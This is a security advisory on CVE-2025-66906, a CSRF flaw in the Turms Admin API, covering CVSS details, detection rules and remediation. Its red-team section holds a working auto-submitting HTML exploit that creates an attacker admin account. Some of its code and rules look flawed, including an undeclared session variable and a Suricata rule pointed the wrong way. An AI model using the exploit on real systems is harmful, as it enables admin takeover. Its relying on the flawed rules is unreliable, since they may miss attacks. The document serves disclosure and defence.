CVE-2025-66906

Executive Summary

CVE-2025-66906 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Turms Admin API, specifically in versions up to and including v0.10.0-SNAPSHOT. This flaw allows an attacker to trick an authenticated administrator into executing unintended actions, potentially leading to privilege escalation. The vulnerability is classified under CWE-352 and has a high CVSS score of 8.8, indicating significant risk due to the potential for complete compromise of the admin interface. No public proof-of-concept (PoC) or patch is currently available, but the risk is elevated due to the lack of CSRF tokens in the admin API endpoints.

Supply Chain & Package Security

Turms is an open-source instant messaging platform. The vulnerability resides in the admin API component, which is part of the Turms server distribution. Organizations using Turms should verify their deployment version and monitor for updates from the official repository. The absence of a patch underscores the need for immediate mitigations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – The victim must be an authenticated admin and click a malicious link or visit a crafted page.
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. Exploitation requires user interaction but can lead to full admin account takeover and data compromise.

Deep Dive & Mechanics

The vulnerability stems from the absence of CSRF protection mechanisms (such as anti-CSRF tokens or SameSite cookie attributes) in the Turms Admin API endpoints. An attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, triggers state-changing requests (e.g., creating new admin users, modifying system configurations, or deleting data) without the admin's consent.

Attack Flow:

1. The attacker identifies a Turms Admin API endpoint that performs a sensitive action (e.g., POST /admin/users/create).
2. The attacker crafts a malicious HTML form or JavaScript that auto-submits a request to this endpoint.
3. The attacker hosts the malicious page on a controlled domain or sends it via email.
4. An authenticated admin visits the page, and the browser automatically sends the forged request with the admin's session cookies.
5. The server processes the request, believing it is legitimate, leading to unauthorized actions.

Root Cause: The Turms Admin API does not validate the origin of requests or include CSRF tokens in forms/requests.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire Turms Admin API in v0.10.0-SNAPSHOT. A patched version would need to implement CSRF protection.

Vulnerable Code Example (Conceptual):

// Vulnerable: No CSRF token validation
@PostMapping("/admin/users/create")
public ResponseEntity<?> createUser(@RequestBody User user) {
    // Process user creation
    return ResponseEntity.ok("User created");
}

Patched Code Example (Conceptual):

// Patched: CSRF token validation
@PostMapping("/admin/users/create")
public ResponseEntity<?> createUser(@RequestBody User user, 
                                    @RequestHeader("X-CSRF-Token") String csrfToken) {
    if (!csrfToken.equals(session.getAttribute("csrfToken"))) {
        return ResponseEntity.status(403).body("Invalid CSRF token");
    }
    // Process user creation
    return ResponseEntity.ok("User created");
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A running Turms instance with Admin API exposed (e.g., http://target:8080/admin).
• An authenticated admin session (cookies).

Exploit Steps:

1. Identify a sensitive endpoint, e.g., POST /admin/users/create.
2. Create a malicious HTML file (csrf_exploit.html):

<html>
<body>
<form action="http://target:8080/admin/users/create" method="POST">
  <input type="hidden" name="username" value="attacker_admin" />
  <input type="hidden" name="password" value="P@ssw0rd!" />
  <input type="hidden" name="role" value="ADMIN" />
  <input type="submit" value="Click me" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

3. Host the file on an attacker-controlled server or send it via email.
4. When an authenticated admin visits the page, the form auto-submits, creating a new admin account.

Expected Outcome: A new admin user is created, granting the attacker persistent access.

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected POST requests to sensitive admin endpoints.
• Look for requests with missing or invalid Referer or Origin headers.
• Use web application firewalls (WAF) to block requests from unknown origins.

Defense:

• Implement CSRF tokens in all state-changing forms.
• Set SameSite=Strict or SameSite=Lax on session cookies.
• Validate the Origin and Referer headers on the server side.
• Use CAPTCHA for critical actions (e.g., user creation).

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusual POST requests to /admin/users/create, /admin/config/update, or similar endpoints.
  • Requests with missing Referer header or Referer pointing to an external domain.
  • Multiple rapid requests to admin endpoints from a single IP.

• Host IOCs:

  • New admin accounts created in the Turms system.
  • Modified system configurations (e.g., changed passwords, disabled security settings).
  • Log entries showing admin actions without corresponding user interaction.

• File IOCs:

  • Presence of malicious HTML files or scripts on admin workstations.
  • Browser history showing visits to external domains hosting CSRF exploits.

Detection Engineering

YARA Rule

rule Detect_CSRF_Exploit_HTML {
    meta:
        description = "Detects HTML files containing CSRF exploit forms targeting Turms Admin API"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66906"
    strings:
        $form = /<form\s+action=["']http:\/\/[^"']*\/admin\/[^"']*["']\s+method=["']POST["']/ nocase
        $hidden = /<input\s+type=["']hidden["']\s+name=["'](username|password|role)["']/ nocase
        $submit = /document\.forms\[0\]\.submit\(\)/
    condition:
        all of them
}

Sigma Rule

title: CSRF Exploit Against Turms Admin API
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential CSRF attacks targeting Turms Admin API endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: turms
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|startswith: '/admin/'
        cs-referer|contains: 
            - 'http://'
            - 'https://'
        cs-referer|notcontains: 
            - 'target.com'  # Replace with legitimate domain
    condition: selection
falsepositives:
    - Legitimate admin actions from trusted sources
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-66906 - Potential CSRF Attack Against Turms Admin API";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/";
    http_uri;
    pcre:"/Referer:\s*(?!https?:\/\/[^\/]*target\.com)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2025-66906;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Admin API Exposure: If not required, block external access to the Turms Admin API (e.g., via firewall or reverse proxy).
2. Implement CSRF Tokens: Add anti-CSRF tokens to all admin forms and validate them server-side.
3. Set Cookie Attributes: Configure session cookies with SameSite=Strict and HttpOnly flags.
4. Use WAF Rules: Deploy web application firewall rules to block requests with missing or mismatched Origin/Referer headers.

Long-Term Fix:

• Monitor the Turms repository for an official patch (e.g., version > v0.10.0-SNAPSHOT).
• Upgrade to a patched version once available.
• Conduct a security audit of all admin API endpoints.

Workaround:

• Require re-authentication for sensitive actions (e.g., entering password again).
• Use a VPN or IP whitelist to restrict admin access.

Valters IT